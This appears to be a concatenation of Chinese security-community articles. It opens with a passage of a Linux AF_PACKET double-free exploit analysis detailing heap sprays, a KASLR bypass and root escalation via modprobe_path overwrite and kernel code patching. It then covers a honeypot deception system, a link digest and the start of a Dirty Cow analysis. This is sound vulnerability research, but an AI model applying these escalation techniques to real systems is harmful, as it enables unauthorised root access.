struct packet_sock *po = pkt_sk(sk);
unsigned long *rx_owner_map = NULL;
int was_running, order = 0;
struct packet_ring_buffer *rb;
struct sk_buff_head *rb_queue;
__be16 num;
int err;
/* Added to avoid minimal code churn */
struct tpacket_req *req = &req_u->req;
rb = tx_ring ? &po->tx_ring : &po->rx_ring;
rb_queue = tx_ring ? &sk->sk_write_queue : &sk->sk_receive_queue;
err = -EBUSY;
if (!closing) {
if (atomic_read(&po->mapped))
goto out;
if (packet_read_pending(rb))
goto out;
}
if (req->tp_block_nr) { // 上述第4、6步，tp_block_nr字段必须为0，只允许步骤3进入
unsigned int min_frame_size;
/* Sanity tests and some calculations */
err = -EBUSY;
if (unlikely(rb->pg_vec))
goto out;
switch (po->tp_version) {
case TPACKET_V1:
po->tp_hdrlen = TPACKET_HDRLEN;
break;
case TPACKET_V2:
po->tp_hdrlen = TPACKET2_HDRLEN;
break;
case TPACKET_V3:
po->tp_hdrlen = TPACKET3_HDRLEN; // TPACKET3_HDRLEN = 0x44
break;
}
err = -EINVAL;
if (unlikely((int)req->tp_block_size <= 0))
goto out;
if (unlikely(!PAGE_ALIGNED(req->tp_block_size))) // 注意tp_block_size必须与PAGE_SIZE对齐
goto out;
min_frame_size = po->tp_hdrlen + po->tp_reserve;
if (po->tp_version >= TPACKET_V3 &&
req->tp_block_size <
BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv) + min_frame_size)
goto out;
if (unlikely(req->tp_frame_size < min_frame_size))
goto out;
if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
goto out;
rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
if (unlikely(rb->frames_per_block == 0))
goto out;
if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr))
goto out;
if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
req->tp_frame_nr))
goto out;
err = -ENOMEM;
order = get_order(req->tp_block_size);
pg_vec = alloc_pg_vec(req, order); // 步骤3进入pg_vec分配内存
if (unlikely(!pg_vec))
goto out;
switch (po->tp_version) {
case TPACKET_V3:
/* Block transmit is not supported yet */
if (!tx_ring) { // 只能是RX_RING
init_prb_bdqc(po, rb, pg_vec, req_u); // 步骤3 rb->prb_bdqc->pkbdq引用了pg_vec
} else {
struct tpacket_req3 *req3 = &req_u->req3;
if (req3->tp_retire_blk_tov ||
req3->tp_sizeof_priv ||
req3->tp_feature_req_word) {
err = -EINVAL;
goto out_free_pg_vec;
}
}
break;
default:
if (!tx_ring) {
rx_owner_map = bitmap_alloc(req->tp_frame_nr,
GFP_KERNEL | __GFP_NOWARN | __GFP_ZERO);
if (!rx_owner_map)
goto out_free_pg_vec;
}
break;
}
}
/* Done */
else {
err = -EINVAL;
if (unlikely(req->tp_frame_nr)) // 上述第4、6步，tp_frame_nr字段必须为0，不能直接goto out
goto out;
}
/* Detach socket from network */
spin_lock(&po->bind_lock);
was_running = po->running; //release调用时，此值为0
num = po->num;
if (was_running) {
WRITE_ONCE(po->num, 0);
__unregister_prot_hook(sk, false);
}
spin_unlock(&po->bind_lock);
synchronize_net();
err = -EBUSY;
mutex_lock(&po->pg_vec_lock);
if (closing || atomic_read(&po->mapped) == 0) { // closing字段一直为0，但是po->mapped字段一直等于0
err = 0;
spin_lock_bh(&rb_queue->lock);
swap(rb->pg_vec, pg_vec); // 步骤3 pg_vec和rb->pg_vec交换，pg_vec为NULL，步骤4被换回来
if (po->tp_version <= TPACKET_V2) // 只有在上述第6步，协议版本才等于TPACKET_V2，才会进入if
swap(rb->rx_owner_map, rx_owner_map); // 步骤6 rx_owner_map指向同rb->prb_bdqc->pkbdq
rb->frame_max = (req->tp_frame_nr - 1);
rb->head = 0;
rb->frame_size = req->tp_frame_size;
spin_unlock_bh(&rb_queue->lock);
swap(rb->pg_vec_order, order);
swap(rb->pg_vec_len, req->tp_block_nr);
rb->pg_vec_pages = req->tp_block_size/PAGE_SIZE;
po->prot_hook.func = (po->rx_ring.pg_vec) ?
tpacket_rcv : packet_rcv;
skb_queue_purge(rb_queue);
if (atomic_read(&po->mapped))
pr_err("packet_mmap: vma is busy: %d\n",
atomic_read(&po->mapped));
}
mutex_unlock(&po->pg_vec_lock);
spin_lock(&po->bind_lock);
if (was_running) {
WRITE_ONCE(po->num, num);
register_prot_hook(sk);
}
spin_unlock(&po->bind_lock);
if (pg_vec && (po->tp_version > TPACKET_V2)) {
/* Because we don't support block-based V3 on tx-ring */
if (!tx_ring)
prb_shutdown_retire_blk_timer(po, rb_queue);
}
out_free_pg_vec:
bitmap_free(rx_owner_map); // 步骤6 free掉rx_owner_map等于free rb->prb_bdqc->pkbdq，造成double free
if (pg_vec) // 步骤3由于pg_vec等于NULL为进入free,步骤4pg_vec不为NULL
free_pg_vec(pg_vec, order, req->tp_block_nr); // 步骤4由于释放pg_vec，同时rb->prb_bdqc->pkbdq变为悬空指针
out:
return err;
}
上述步骤3中，进入init_prb_bdqc()函数增加了sock->rx_ring->prb_bdqc->pkbdq引用了pg_vec。
/net/packet/af_packet.c
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
memset(p1, 0x0, sizeof(*p1));
p1->knxt_seq_num = 1;
p1->pkbdq = pg_vec; // 步骤3 sock->rx_ring->prb_bdqc->pkbdq引用了pg_vec，造成漏洞的关键行为
pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;
p1->pkblk_start = pg_vec[0].buffer;
p1->kblk_size = req_u->req3.tp_block_size;
p1->knum_blocks = req_u->req3.tp_block_nr;
p1->hdrlen = po->tp_hdrlen;
p1->version = po->tp_version;
p1->last_kactive_blk_num = 0;
po->stats.stats3.tp_freeze_q_cnt = 0;
if (req_u->req3.tp_retire_blk_tov)
p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;
else
p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,
req_u->req3.tp_block_size);
p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
rwlock_init(&p1->blk_fill_in_prog_lock);
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd);
}
漏洞触发，引发panic：
## 2.漏洞利用
### 2.1.绕过KASLR
**泄露内核地址思路：**
通过漏洞篡改msg_msg->m_ts成员，增大msg_msg消息大小，然后再读取该msg_msg，泄露邻近timerfd_ctx->tmr->function这个函数指针指向的timerfd_tmrproc内核函数地址来计算内核基地址，从而绕过KASLR。
**泄露内核地址详细步骤：**
1.先耗尽kmalloc-256的per_cpu上的freelist里的空闲块，然后布局PAGE大小的dummy ringbuf；
2.第一次堆喷，首先释放dummy
ringbuf偶数下标的ringbuf，让这些free掉的PAGE都返还给伙伴系统的order-0。然后再用pg_vec去堆喷kmalloc-256的slab，并从伙伴系统的order-0取出PAGE分成16个kmalloc-256给pg_vec；
3.第二次堆喷，释放dummy
ringbuf奇数下标的ringbuf，让这些free掉的PAGE都返还给伙伴系统的order-0。然后用timerfd_ctx去喷kmalloc-256的slab，并从伙伴系统的order-0取刚刚归还的PAGE分成16个kmalloc-256给timerfd_ctx；
4.第三次堆喷，通过pg_vec的漏洞释放掉所有的第一次堆喷中的pg_vec对象，这些kmalloc-256的pg_vec不会归还给伙伴系统，而是进入到了对应slab的空闲链表，接着用msg_msg从空闲链表再次申请出刚释放掉的kmalloc-256的slab；
5.第四次堆喷，这时，触发部分pg_vec的double
free漏洞，然后用msg_msgseg再次将刚释放的msg_msg从freelist里分配出来并篡改msg_msg->m_ts，这时读取所有第三步中申请的msg_msg，即可读取包含被篡改msg_msg->m_ts的msg_msg，从而造成OOB读，泄露出相邻PAGE的timerfd_ctx->tmr->function这个函数指针指向的timerfd_tmrproc内核函数地址，从而计算出当前内核基址的相对偏移。
### 2.2.利用方式一：篡改modprobe_path
> **提权思路：** 通过msg_msg +
> fuse的方式提权，篡改modprobe_path指向的字符串，modprobe_path默认指向"/sbin/modprobe"，修改modprobe_path指向"/tmp/w"，然后再执行一个非法的二进制文件，这样便会触发"/tmp/w"这个文件以root权限执行，从而拿到root权限。
>
> **提权原理：**
> 篡改modprobe_path提权的原理，想必大家也不陌生，这里还是简单介绍一下，当execve函数执行一个非法的二进制文件时，执行到search_binary_handler()函数时，会遍历formats链表，formats链表包含所有注册的二进制文件，挨个调用load_elf_binary()函数，判断当前执行文件格式是否是注册的二进制文件，如果不是注册的二进制文件，再调printable宏判断当前执行文件前4个字节是否是可打印的字符，如果当前执行文件既不是注册的二进制文件，前4个字节也不是可打印的字符，则调用request_module()函数。
static int search_binary_handler(struct linux_binprm *bprm)
{
bool need_retry = IS_ENABLED(CONFIG_MODULES);
struct linux_binfmt *fmt;
int retval;
retval = prepare_binprm(bprm);
if (retval < 0)
return retval;
retval = security_bprm_check(bprm);
if (retval)
return retval;
retval = -ENOENT;
retry:
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) { // 遍历注册了二进制格式的formats链表
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);
retval = fmt->load_binary(bprm); // 检查二进制文件
read_lock(&binfmt_lock);
put_binfmt(fmt);
if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);
if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3])) // 检查是否是打印字符
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}
return retval;
}
request_module()函数是__request_module()的宏定义。
#define request_module(mod...) __request_module(true, mod)
__request_module()函数是一个尝试加载内核模块的函数，主要调用call_modprobe()，定义于kernel/kmod.c。
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;
module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;
argv[0] = modprobe_path; // 是我们需要篡改的全局变量
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}
call_usermodehelper_exec()函数将modprobe_path作为可执行程序路径，以root权限执行，modprobe_path是一个全局变量，指向"/sbin/modprobe"。
/kernel/kmod.c
/*
modprobe_path is set via /proc/sys.
*/
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;
/init/Kconfig
config MODPROBE_PATH
string "Path to modprobe binary"
default "/sbin/modprobe"
help
When kernel code requests a module, it does so by calling
the "modprobe" userspace utility. This option allows you to
set the path where that binary is found. This can be changed
at runtime via the sysctl file
/proc/sys/kernel/modprobe. Setting this to the empty string
removes the kernel's ability to request modules (but
userspace can still load modules explicitly).
**任意写：**
在绕过KASLR后，就能计算出modprobe_path的地址，再通过修改msg_msg的成员变量next指向modprobe_path-8，再配合fuse用户文件系统向msg_msg->next指向的msg_msgseg数据部分写入我们自定义程序的字符串路径，即完成任意写。
篡改前：modprobe_path指向"/sbin/modprobe"
篡改后：modprobe_path指向"/tmp/w"
**提权流程：**
1.堆风水，先耗尽kmalloc-4096的空闲块，然后布局8 PAGE的内存，也是通过ringbuf申请大量的8 PAGE大小的内存块；
2.第一次堆喷，释放掉偶数位下标的8 PAGE的ringbuf，然后用大量的pg_vec去堆喷kmalloc-4096大小的slab；
3.第二次堆喷，触发first free释放掉2个kmalloc-4096的pg_vec，然后先创建一个线程A，用2个大于PAGE_SIZE小于2
PAGE_SIZE的msg_msgA去堆喷占位刚释放的两个kmalloc-4096空闲块，此时load_msg()在kmalloc完成后，会因为在copy_from_user的时候，触发fuse文件系统的读函数，通过读pipe数据而使线程A阻塞。
4.第三次堆喷，然后再创建第二线程B，继续释放刚才被first free的2个kmalloc-4096的pg_vec内存，触发double
free，再用1个大于PAGE_SIZE小于2
PAGE_SIZE的msg_msgB去堆喷这两块刚被回收的2个kmalloc-4096内存块，用msg_msgsegB去篡改第二次堆喷中msg_msgA->next指针为modprobe-8，并通过pipe发送信号给第三步中阻塞的线程A，fuse
read接受到信号后完成对msg_msgsegA内容的篡改，并返回，这样线程A完成对modprobe_path指向字符串内容的篡改为我们自定义的"/tmp/w"。
5.最后执行一个非法的二进制文件，便能触发我们自定义"/tmp/w"的执行，从而完成提权。
### 2.3.利用方式二：USMA(用户态映射攻击)
> **USMA简介** ：USMA（User-Space-Mmaping-Attack）又称作是 **用户态映射攻击**
> ，是360漏洞研究院的安全研究员提出的利用手法。
>
> **提权思路** ：利用packet漏洞模块的packet_mmap函数能将漏洞对象pg_vec映射到用户空间的这个特性，再利用double
> free的漏洞原理，将漏洞对象pg_vec篡改为内核代码 **__sys_setresuid** 内核函数的地址，这样就能把
> **__sys_setresuid**
> 内核函数的代码映射到用户空间，通过硬编码改变代码逻辑，即可让普通用户进程调用setresuid函数绕过权限检查，修改cred提升权限。
/kernel/sys.c
/*
* This function implements a generic ability to update ruid, euid,
* and suid. This allows you to implement the 4.4 compatible seteuid().
*/
long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
struct user_namespace *ns = current_user_ns();
const struct cred *old;
struct cred *new;
int retval;
kuid_t kruid, keuid, ksuid;
kruid = make_kuid(ns, ruid);
keuid = make_kuid(ns, euid);
ksuid = make_kuid(ns, suid);
if ((ruid != (uid_t) -1) && !uid_valid(kruid))
return -EINVAL;
if ((euid != (uid_t) -1) && !uid_valid(keuid))
return -EINVAL;
if ((suid != (uid_t) -1) && !uid_valid(ksuid))
return -EINVAL;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
retval = -EPERM;
//通过硬编码修改，让普通用户调用setresuid()函数不会进入if判断，从而修改cred提权
if (!ns_capable_setid(old->user_ns, CAP_SETUID)) {
if (ruid != (uid_t) -1 && !uid_eq(kruid, old->uid) &&
!uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid))
goto error;
if (euid != (uid_t) -1 && !uid_eq(keuid, old->uid) &&
!uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid))
goto error;
if (suid != (uid_t) -1 && !uid_eq(ksuid, old->uid) &&
!uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid))
goto error;
}
if (ruid != (uid_t) -1) {
new->uid = kruid;
if (!uid_eq(kruid, old->uid)) {
retval = set_user(new);
if (retval < 0)
goto error;
}
}
if (euid != (uid_t) -1)
new->euid = keuid;
if (suid != (uid_t) -1)
new->suid = ksuid;
new->fsuid = new->euid;
retval = security_task_fix_setuid(new, old, LSM_SETID_RES);
if (retval < 0)
goto error;
return commit_creds(new);
error:
abort_creds(new);
return retval;
}
SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
return __sys_setresuid(ruid, euid, suid);
}
**映射原理** ：packet_mmap函数通过对当前套接字对应的pg_vec数组里buffer映射到用户层，可以让用户态修改并同步内核态的内存。
static int packet_mmap(struct file *file, struct socket *sock,
struct vm_area_struct *vma)
{
struct sock *sk = sock->sk;
struct packet_sock *po = pkt_sk(sk);
unsigned long size, expected_size;
struct packet_ring_buffer *rb;
unsigned long start;
int err = -EINVAL;
int i;
if (vma->vm_pgoff)
return -EINVAL;
mutex_lock(&po->pg_vec_lock);
expected_size = 0;
for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
if (rb->pg_vec) {
// 计算当前套接字对应ringbuf所有大小的和，间接等于ring buf的block_nr * block_size。
expected_size += rb->pg_vec_len // 等于block_nr
* rb->pg_vec_pages // 等于block_size/PAGE_SIZE
* PAGE_SIZE;
}
}
if (expected_size == 0)
goto out;
size = vma->vm_end - vma->vm_start; // 用户层映射内存大小
if (size != expected_size)
goto out;
start = vma->vm_start; // 用户层映射内存起始地址
for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) { //目前就一个ring buf
if (rb->pg_vec == NULL)
continue;
for (i = 0; i < rb->pg_vec_len; i++) { // 循环block_nr次
struct page *page;
void *kaddr = rb->pg_vec[i].buffer; // kaddr地址基本都是页对齐的
int pg_num;
// 循环block_size/PAGE_SIZE次
for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) {
page = pgv_to_page(kaddr);
// 映射的主要函数，通过该函数将pg_vec数组里buffer映射到用户层
err = vm_insert_page(vma, start, page);
if (unlikely(err))
goto out;
start += PAGE_SIZE;
kaddr += PAGE_SIZE;
}
}
}
atomic_inc(&po->mapped);
vma->vm_ops = &packet_mmap_ops;
err = 0;
out:
mutex_unlock(&po->pg_vec_lock);
return err;
}
正如[360的USMA](https://vul.360.net/archives/391)的描述，在vm_insert_page()函数里调用了validate_page_before_insert()函数做页检查，validate_page_before_insert()函数对映射的pg_vec数组里的buffer所属page的类型进行了判断，过滤了匿名页、属于slab对象的页、属于buddy系统的页、属于交换内存的页、属于分页管理中页表的页、属于内存屏障的页，以上页类型都不能映射，恰好我们要映射的是内核代码段，是可以映射到用户态的。
/mm/memory.c
static int validate_page_before_insert(struct page *page)
{
if (PageAnon(page) || PageSlab(page) || page_has_type(page))
return -EINVAL;
flush_dcache_page(page);
return 0;
}
**硬编码篡改** ： __sys_setresuid函数被映射到用户态后，读取一个PAGE_SIZE大小的内核内存
考虑到需要篡改call ns_capable_setid调用之后的判断，对test al,al jnz short
loc_FFFFFFFF810BE1C4的汇编作一番篡改，最简单的方法就是将jnz/jne改为jz/je，由机器码，0x75改为0x74，由于映射的内存范围很大，所以我将0x84
0xC0 0x75 0x59作为特征进行搜索定位。
这段机器码由0x84 0xC0 0x75 0x59变为0x84 0xC0 0x74 0x59，jne变为je。
篡改前：
篡改后：
**提权**
：经过上述对内核函数__sys_setresuid的篡改，再通过调用setresuid(0,0,0);即可将普通用户进程提权至root用户权限。
## 3.总结
上述两种提权方式，经过实现与调试，篡改modprobe_path提权和USMA(用户态映射攻击)两者都是通过任意写完成的提权，不用一堆gadget，相比ROP的提权方式而言，适配效率更高，限制更小，让任意写提权相对显得更加"高大上"。篡改modprobe_path提权相比于USMA利用，前者相较而言更加通用。
* * * | 社区文章 |
本文作者：netxfly ，原文发表在小米安全中心，
地址：https://sec.xiaomi.com/article/14
概述
峥嵘栋梁，一旦而摧；水月镜像，无心来去。
本次自制的欺骗防御系统名字叫镜花水月，镜花水月是《死神》中蓝染惣右介的斩魄刀（幻觉系最强斩魄刀）的名字，能力是完全支配对手的五感。
这个名字非常适合攻击欺骗防御类系统：把攻击者的流量从正常的请求中区分、剥离出来，并无缝地转移到伪造了正常业务和服务的沙盒中，让攻击者去沙盒环境中玩耍并会记录其详细的行为。
与传统的蜜罐相比，镜花水月的优点为：
1. 零误报（只对内部或外部的攻击行为进行报警）
2. 保护业务系统（第一时间会将攻击者从正常的服务中转移到沙箱环境中，攻击者却浑然不知）
3. 方便取证及定位攻击者（沙盒中会记录攻击者的来源及详细的攻击行为）
技术架构
镜花水月由4个模块组成：
1. Agent，部署于服务器中的Agent，用于实时获取用户的访问日志并传递到检测端Server中，如果是恶意攻击，则会将流量重定向到沙盒中。目前支持的服务有：
1. WEB
2. FTP
3. SSH
4. Rsync
5. Mysql
6. Redis
7. Mongodb
2. Server，攻击检测服务器，实时检测Agent传递过来的日志并判断是否为攻击者，并为Agent动态、实时地维护了一份攻击者的来源IP策略
3. Manager，策略管理服务器，有为Agent和server提供策略、攻击log统计、查看的功能
4. 沙盒由以下3部分构成：
1. 安装了FTP、SSH、Rsync、Mysql、Redis和Mongodb的虚拟机或Docker，可实时将这些服务的访问log发送到远程的Rsyslog中
2. 克隆的WEB站点
3. 日志服务器，将沙盒通过Rsyslog发送过来的数据解析出来并入库，供Manager查询、分析
为了方便部署以及高性能的要求，镜花水月的各组件中除了WEB攻击检测模块是用lua开发的外，其余的全是用go语言开发的（WEB攻击检测模块是基于openresty+lua开发的）
Agent的实现
agent的架构
Agent支持以蜜罐、镜花水月、攻击反弹和防火墙4种模式运行。
这四种模式的区别及功能分别如下：
1. 启动时会应用不同的策略：
1. 蜜罐会将除了白名单IP和端口外的所有流量直接转向沙盒中
2. 镜花水月只将被Server判定为恶意攻击者转向沙盒，不影响正常的请求（攻击欺骗防御模式）
3. 反弹模式是将攻击者流量全部原封不动的返回，类似于金庸小说《天龙八部》中的斗转星移
4. 防火墙模式是将识别出来的攻击者的IP Block掉
2. 以镜花水月、攻击反弹和防火墙模式启动时，除了会应用从manager获取到的策略外，还会在Agent中启动4个服务监控的goroutine，这些goroutine会将收集到的Vsftpd、Rsync、mysql和Redis服务的日志实时发到Server端
Agent的整体工作流如下：
1. 判断启动模式，如果启动参数为unreal，则以镜花水月模式启动，默认以蜜罐模式启动
2. 从配置文件conf/app.ini读取配置参数，如果是蜜罐模式，按配置文件中指定的时间间隔，定期从Manager获取策略并应用，如果是镜花水月模式，则每10秒更新一次策略，并启动Vsftpd、Rsync、mysql和Redis的监控goroutine
关于蜜罐的详细实现，可以参考笔者之前的文章[自制蜜罐之前端部分](https://xsec.io/2016/7/8/how-to-develop-a-honeypot.html)，本文只贴一些关键的部分代码。
项目的代码结构如下图所示：
Agent的日志配置
Agent是通过rsyslog向server实时汇报采集到的非WEB应用程序的数据的（web的攻击检测会在后面说明），在部署agent前需要做以下3步的配置：
1. 配置服务器中运行的应用的日志参数，将能写syslog的写入到syslog中，不能写syslog的写入到指定的文件中
2. 将写入文件中的log读取出来，转换成syslog格式再转存到本地的syslog中
3. 配置rsyslog的规则，将我们需要分析的log转发到后端server中，rsyslog的转发策略如下图所示：
ssh和mongodb的日志可以写入到syslog中，直接配置rsyslog的转发策略即可。
redis的操作内容不支持写入syslog，需要先连接redis，然后利用monitor命令监控redis指令的执行，经测试无法监控到config指令，而且启用monitor后，性能会降低一半。所以redis的指令监控服务不适合部署在对性能要求很高的服务器中。
Vsftpd、Rsync和Mysql服务需要配置应用对日志的支持，以下为关键的配置项：
把Vsftpd、Rsync和mysql的日志转存为syslog方法一样，都是不断地Tail文件，并把新增的日志发送到syslog中，代码如下：
以下为将redis的monitor指令的结果转存为syslog的代码：
Agent的编码实现
启动模式的处理部分代码如下：
不同模式会应用不同的iptables的策略，部分代码如下：
WEB服务的攻击检测
WEB服务器的攻击检测是利用反向代理型的waf实现的，关于waf的自制，可以参考笔者之前的文章[《中小企业如何自建免费的云waf》](https://xsec.io/2016/8/23/how-to-develop-a-free-cloud-waf.html)
WAF在检测到攻击后有3种处理模式：
1. 跳转到指定的URL
2. 输出自定义的HTML内容
3. 镜花水月模式，攻击者的请求不再反代到正常的后端，而是反代到克隆的WEB业务后端，克隆的WEB站点可以伪造得和真实站点相同，并打开了详细的log，如access log、Debug log和orm log等，连接的是脱敏的测试数据库
waf检测到攻击后，开启镜花水月模式的处理代码如下：
在利用waf-admin添加需要保护的后端站点时，需要增加2种后端的地址：
1. 正常的后端地址
2. 克隆业务的后端地址
如下图所示（请不要在意安全后端工程师做的UI）：
waf管理后台在生成新站点的配置文件时后，会在每个请求中都会调用waf.start_jingshuishuiyue()函数，waf.start_jingshuishuiyue()会判断用户的类型是好人或坏蛋，如果是坏蛋的话，直接转到克隆的后端中去。
以下为waf.start_jingshuishuiyue()的代码：
以下为waf管理端在录入新的网站并为其生成配置文件时的模板文件内容：
Server的实现
Server的架构
server的主要功能是在TCP和UDP的514端口上启动Rsyslog服务，接收各个Agent发来的Rsyslog数据并判断Agent的启动类型、各服务是否被攻击。
1. 如果收到的是蜜罐模式传过来的数据，则会根据规则进行报警
2. 如果收到的是镜花水月模式传递过来的数据，则会检测是否为攻击，攻击了几次，是否需要对该攻击者发动镜花水月，如果需要发动的话，则会实时修改manager中的策略，Agent会在几秒后拿到新策略，将攻击者转移到沙盒中
Server端支持水平扩展，只要能连接到邮件服务器，后端的mongodb与Redis即可，关于蜜罐的实现部分请参考笔者之前的文章，本文只写攻击检测部分
server端的项目结构如图所示：
如上图所示，如果不是蜜罐的日志，则会判断应用日志的类型，并调用相应的威胁检测模块，检测的方法都是通过正则匹配中攻击的特征，比如暴破密码、rsync列目录、上传、下载文件等。然后将攻击者的IP，攻击次数记录到manger的Redis中。
以下为VSFTP密码暴力破解的检测示例：
Manager的实现
Manager的架构
Manager是整套系统的管理后台，支持的功能有：
1. 用户管理
2. Agent资产管理
3. 蜜罐策略管理
4. 攻击日志、报警日志展示
5. 为Agent和server提供策略拉取服务
Manager的代码结构如下：
Manager的代码实现
从manager获取策略时，需要进行认证，防止攻击者无意间获取到蜜罐或镜花水月的所有策略后，进行针对性的避开去攻击其他系统。
获取策略的api接口只支持post方法：
Agent和Server配置文件中的key必须与manager中的一致，否则会因认证失败无法获取到策略，如下代码所示：
每次获取策略的接口时，Manager会从redis中查出所有满足策略的攻击者的IP，然后返回给Agent，Agent便可以对这些攻击者的IP发动镜花水月模式了。
以上代码中，ListRealTimePolicy()表示从redis中筛选出攻击者的IP，并由ListPolicy()方法一起返回蜜罐的策略。
沙盒的实现
沙盒可以装在虚拟机中或者封装到docker中，沙盒产生的数据的记录方式有以下2种：
1. 利用tcpdump在宿主机中抓出相应协议的包，然后利用dpkt解析pcap文件，然后存入manager的DB中
2. 在沙盒中部署类似Agent中的日志分析脚本，并将结果发送到rsyslog中，然后再由rsyslog转发到我们的server中，server收到后再存入manager中的DB中 | 社区文章 |
# 【知识】11月9日 - 每日安全知识热点
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：Linux的USB驱动存在安全隐患、 ** **震惊！一名用户意外触发Bug导致3亿美元以太坊货币被冻结****
、最近大火的Coinhive到底是什么、Google Play版权与安全政策解析、微软关于LAN Manager与NTLMv1的警告、
**DCOM与DDE的奇妙结合、二进制代码的模糊测试** 。**
**资讯类：**
Linux的USB驱动存在安全隐患
<https://www.bleepingcomputer.com/news/security/linux-has-a-usb-driver-security-problem/>
像素颜色数据传输新方式
<https://www.pentestpartners.com/security-blog/exfiltration-by-encoding-data-in-pixel-colour-values/>
浏览器挖矿状况日益糟糕
<https://www.bleepingcomputer.com/news/security/the-internet-is-rife-with-in-browser-miners-and-its-getting-worse-each-day/>
<https://www.bleepingcomputer.com/news/security/cryptojacking-craze-malwarebytes-says-it-blocks-8-million-requests-per-day/>
震惊！一名用户意外触发Bug导致3亿美元以太坊货币被冻结
<https://thehackernews.com/2017/11/parity-ethereum-wallet.html>
<http://securityaffairs.co/wordpress/65303/digital-id/ethereum-parity-wallet-flaw.html>
**技术类：**
欺骗黑客的黑客——IP扫描器内置后门
<https://www.bleepingcomputer.com/news/security/hacker-wannabes-fooled-by-backdoored-ip-scanner/>
微软关于LAN Manager与NTLMv1的警告
<https://blogs.technet.microsoft.com/miriamxyra/2017/11/07/stop-using-lan-manager-and-ntlmv1/>
URL与安全
<https://noncombatant.org/2017/11/07/problems-of-urls/>
信息安全Cheat Sheets
<https://www.cybrary.it/0p3n/infosec-cheat-sheets/>
新近出现的提权框架
<https://github.com/spencerdodd/kernelpop>
安卓挖矿浅谈
<https://www.ixiacom.com/company/blog/everythings-better-blockchain>
IoT与ARM逆向 第三部分
<https://quequero.org/2017/11/arm-exploitation-iot-episode-3/>
Windows利用开发四：SEH覆写
<http://www.shogunlab.com/blog/2017/11/06/zdzg-windows-exploit-4.html>
最近大火的Coinhive到底是什么
<https://blog.malwarebytes.com/cybercrime/2017/11/a-look-into-the-global-drive-by-cryptocurrency-mining-phenomenon/>
DCOM与DDE的奇妙结合
<https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom>
SIEM系统通用签名工具
<https://github.com/Neo23x0/sigma>
二进制代码的模糊测试
<https://medium.com/@njvoss299/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf>
Shopware中的XXE
<https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/>
Google Play版权与安全政策解析
<http://blog.fortinet.com/2017/11/08/the-strange-case-of-play-policy-for-copyright-and-security> | 社区文章 |
# 深入解读补丁分析发现的linux内核提权漏洞(CVE-2017–1000405)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[rain](https://www.anquanke.com/member/128843)
预估稿费：400
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 1\. 前言
近日（2017.11.30）国外安全团队Bindecy爆出名为大脏牛（Huge Dirty
Cow）的内核提权漏洞，编号为CVE-2017–1000405。包含linux内核（2.6.38~4.14）的服务器，桌面，移动等众多设备将面临严重挑战，数以百万计的用户受到安全威胁。该漏洞是由于对之前的内核提权漏洞（cve-2016-5195）修补不完整引发，因此为了便于理解该漏洞，我们对CVE-2016-5195做一个回顾。
## 2\. Dirty Cow(CVE-2016-5195)回顾
该漏洞是内核函数get_user_pages(mm/gup.c)在处理COW(copy-on-write)过程中，由条件竞争引发未授权进程向只读内存区域写入数据导致的。
### 2.1 主要数据结构说明
get_user_pages被用来通过虚拟地址查询页面获取物理页面，主要代码如框2.1所示:
#### **框2.1：__get_user_pages**
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
